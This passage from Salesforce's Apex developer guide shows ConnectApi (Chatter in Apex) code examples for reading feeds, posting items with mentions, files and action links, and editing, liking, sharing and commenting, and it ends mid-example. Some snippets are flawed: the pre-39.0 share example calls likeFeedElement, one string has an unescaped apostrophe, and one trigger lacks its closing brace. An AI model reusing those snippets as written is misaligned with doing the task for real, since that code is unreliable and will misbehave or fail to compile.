and topics, and update user and group photos. Create triggers that update Chatter feeds.
Many Chatter REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace. These methods
use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to as Chatter in Apex.
In Apex, it’s possible to access some Chatter data using SOQL queries and objects. However, ConnectApi classes expose Chatter
data in a much simpler way. Data is localized and structured for display. For example, instead of making many calls to access and assemble
a feed, you can do it with a single call.
Chatter in Apex methods execute in the context of the context user, who is also referred to as the context user. The code has access to
whatever the context user has access to. It doesn’t run in system mode like other Apex code.
For Chatter in Apex reference information, see ConnectApi Namespace on page 824.
IN THIS SECTION:
Chatter in Apex Examples
Use these examples to perform common tasks with Chatter in Apex.
Chatter in Apex Features
This topic describes which classes and methods to use to work with common Chatter in Apex features.
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi
namespace also contains input classes to pass as parameters and output classes that calls to the static methods return.
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Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
Serializing and Deserializing ConnectApi Objects
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API.
When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are different than the rules for other Apex classes.
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Differences Between ConnectApi Classes and Other Apex Classes
Note these additional differences between ConnectApi classes and other Apex classes.
Chatter in Apex Examples
Use these examples to perform common tasks with Chatter in Apex.
IN THIS SECTION:
Get Feed Elements From a Feed
Get Feed Elements From Another User’s Feed
Get Community-Specific Feed Elements from a Feed
Post a Feed Element
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Post a Rich-Text Feed Element with Inline Image
Post a Rich-Text Feed Element with a Code Block
Post a Feed Element with a New File (Binary) Attachment
Post a Batch of Feed Elements
Post a Batch of Feed Elements with New (Binary) Files
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Edit a Feed Element
Edit a Question Title and Post
Like a Feed Element
Bookmark a Feed Element
Share a Feed Element (prior to Version 39.0)
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Share a Feed Element (in Version 39.0 and Later)
Post a Comment
Post a Comment with a Mention
Post a Comment with an Existing File
Post a Comment with a New File
Post a Rich-Text Comment with Inline Image
Post a Rich-Text Feed Comment with a Code Block
Edit a Comment
Follow a Record
Unfollow a Record
Get a Repository
Get Repositories
Get Allowed Item Types
Get Previews
Get a File Preview
Get Repository Folder Items
Get a Repository Folder
Get a Repository File Without Permissions Information
Get a Repository File with Permissions Information
Create a Repository File Without Content (Metadata Only)
Create a Repository File with Content
Update a Repository File Without Content (Metadata Only)
Update a Repository File with Content
Get Feed Elements From a Feed
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from the context user’s news feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature may specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an additional parameter to specify the maximum number of comments to return
for each feed element.
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Tip: Each signature operates on certain feed types. Use the signatures that operate on the ConnectApi.FeedType.Record
to get group feeds, since a group is a record type.
SEE ALSO:
ChatterFeeds Class
Get Feed Elements From Another User’s Feed
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from another user’s feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
This example calls the same method to get the first page of feed elements from another user’s record feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.Record, '005R0000000HwMA');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature can specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an extra parameter to specify the maximum number of comments to return for
each feed element.
Get Community-Specific Feed Elements from a Feed
Display a user profile feed that contains only feed elements that are scoped to a specific community. Feed elements that have a User or
a Group parent record are scoped to communities. Feed elements whose parents are record types other than User or Group are always
visible in all communities. Other parent record types could be scoped to communities in the future.
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter) to get only community-specific feed elements.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
Post a Feed Element
This example calls postFeedElement(communityId, subjectId, feedElementType, text) to post a string of
text.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
The second parameter, subjectId is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or
record, or the string me to indicate the context user.
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Post a Feed Element with a Mention
You can post feed elements with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or
use this example, which calls postFeedElement(communityId, feedElement).
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
textSegmentInput.text = 'Could you take a look?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
Post a Feed Element with Existing Content
This example calls postFeedElement(communityId, feedElement) to post a feed item with files that have already been
uploaded.
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Would you please review these docs?';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a files capability to hold the file(s).
List<String> fileIds = new List<String>();
fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');
ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();
filesInput.items = new List<ConnectApi.FileIdInput>();
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for (String fileId : fileIds) {
ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
idInput.id = fileId;
filesInput.items.add(idInput);
}
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.files = filesInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Post a Rich-Text Feed Element with Inline Image
You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to
write a single line of code, or use this example, which calls postFeedElement(communityId, feedElement). In this
example, the image file is existing content that has already been uploaded to Salesforce. The post also includes text and a mention.
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
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messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input, null);
SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
ConnectApi.InlineImageSegmentInput
Post a Rich-Text Feed Element with a Code Block
This example calls postFeedElement(communityId, feedElement) to post a feed item with a code block.
String communityId = null;
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
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ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
Post a Feed Element with a New File (Binary) Attachment
Important: In version 36.0 and later, you can’t post a feed element with a new file in the same call. Upload files to Salesforce first,
and then specify existing files when posting a feed element.
This example calls postFeedElement(communityId, feedElement, feedElementFileUpload) to post a feed
item with a new file (binary) attachment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
Post a Batch of Feed Elements
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts.
trigger postFeedItemToAccount on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
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body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
Post a Batch of Feed Elements with New (Binary) Files
Important: In version 36.0 and later, you can’t post a batch of feed elements with new files in the same call. Upload files to
Salesforce first, and then specify existing files when posting a batch of feed elements.
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts. Each post has a new file (binary) attachment.
trigger postFeedItemToAccountWithBinary on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.ContentCapabilityInput contentInput = new
ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
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String text = 'We are words in a file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input, binInput);
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
Define an Action Link and Post with a Feed Element
This example creates one action link in an action link group, associates the action link group with a feed item, and posts the feed item.
When a user clicks the action link, the action link requests the Chatter REST API resource /chatter/feed-elements, which posts
a feed item to the user’s feed. After the user clicks the action link and it executes successfully, its status changes to successful and the
feed item UI is updated:
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Refresh the user’s feed to see the new post:
This simple example shows you how to use action links to call a Salesforce resource.
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Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (labelKey). An action link
group definition also includes other properties like a URL (actionUrl), an HTTP method (method), and an optional request body
(requestBody) and HTTP headers (headers).
When a user clicks this action link, an HTTP POST request is made to a Chatter REST API resource, which posts a feed item to Chatter. The
requestBody property holds the request body for the actionUrl resource, including the text of the new feed item. In this
example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action
links.
Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are
mutually exclusive (you can click only one action link within a group). Even if you define only one action link, it must be part of an action
link group.
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It saves the action link group ID from that call and associates it with a feed element in a call to
ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement).
To use this code, substitute an OAuth value for your own Salesforce org. Also, verify that the expirationDate is in the future. Look
for the To Do comments in the code.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();
// Create the action link group definition.
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);
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requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Note: If the post fails, check the OAuth ID.
Define an Action Link in a Template and Post with a Feed Element
This example creates the same action link and action link group as the example Define an Action Link and Post with a Feed Element,
but this example instantiates the action link group from a template.
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Step 1: Create the Action Link Templates
1. From Setup, enter Action Link Templates in the Quick Find box, then select Action Link Templates.
2. Use these values in a new Action Link Group Template:
Field
Value
Name
Doc Example
Developer Name
Doc_Example
Category
Primary action
Executions Allowed
Once per User
3. Use these values in a new Action Link Template:
Field
Value
Action Link Group Template
Doc Example
Action Type
Api
Action URL
/services/data/{!Bindings.ApiVersion}/chatter/feed-elements
User Visibility
Everyone can see
HTTP Request Body
{ "subjectId":"{!Bindings.SubjectId}",
"feedElementType":"FeedItem", "body":{ "messageSegments":[
{ "type":"Text", "text":"{!Bindings.Text}" } ] } }
HTTP Headers
Content-Type: application/json
Position
0
Label Key
Post
HTTP Method
POST
4. Go back to the Action Link Group Template and select Published. Click Save.
Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It calls ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to associate the action
link group with a feed item and post it.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
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// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
bindingMap.put('SubjectId', 'me');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define an associated actions capability to hold the action link
group.
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// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Edit a Feed Element
This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a feed element.
Feed items are the only type of feed element that can be edited.
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited post.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
Edit a Question Title and Post
This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a question title
and post.
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
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ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited question.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
Like a Feed Element
This example calls likeFeedElement(communityId, feedElementId) to like a feed element.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
Bookmark a Feed Element
This example calls updateFeedElementBookmarks(communityId, feedElementId,
isBookmarkedByCurrentUser) to bookmark a feed element.
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null, '0D5D0000000KuGh', true);
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Share a Feed Element (prior to Version 39.0)
Important: In API version 39.0 and later, shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) isn’t supported. See Share a Feed Element (in Version 39.0 and Later).
This example calls shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) to share a feed item (which is a type of feed element) with a group.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
Share a Feed Element (in Version 39.0 and Later)
This example calls postFeedElement(communityId, feedElement) to share a feed element.
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Look at this post I'm sharing.';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedEntityShareCapabilityInput shareInput = new
ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.feedEntityShare = shareInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Post a Comment
This example calls postCommentToFeedElement(communityId, feedElementId, text) to post a plain text
comment to a feed element.
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh', 'I agree with the proposal.' );
Post a Comment with a Mention
You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use
this example, which calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload).
String communityId = null;
String feedElementId = '0D5D0000000KtW3';
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ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone in this group have an idea? ';
messageBodyInput.messageSegments.add(textSegmentInput);
mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,
